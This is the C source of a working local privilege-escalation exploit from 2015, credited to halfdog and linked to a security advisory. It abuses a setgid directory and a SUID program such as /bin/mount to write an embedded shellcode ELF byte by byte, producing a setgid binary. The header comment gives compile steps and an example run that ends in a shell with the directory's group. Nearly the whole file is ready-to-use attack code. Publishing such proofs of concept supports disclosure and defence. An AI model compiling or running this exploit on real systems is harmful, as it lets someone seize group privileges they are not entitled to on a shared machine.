/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  This tool allows to create a setgid binary in appropriate directory
 *  to escalate to the group of this directory.
 *
 *  Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
 *
 *  Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
 *
 *  Example: 
 *
 *  # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
 *  # ls -al ./escalate
 *  # ./escalate /bin/sh
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *
 *  See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>

int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };

  int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    int result=fork();
    if(!result) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      argv[3]=suidWriteNext;
      execve(argv[2], argv+3, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(result, NULL, 0);
    suidWriteNext=suidWriteTestPos;
//  ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
  }
  fprintf(stderr, "Completed\n");
  return(0);
}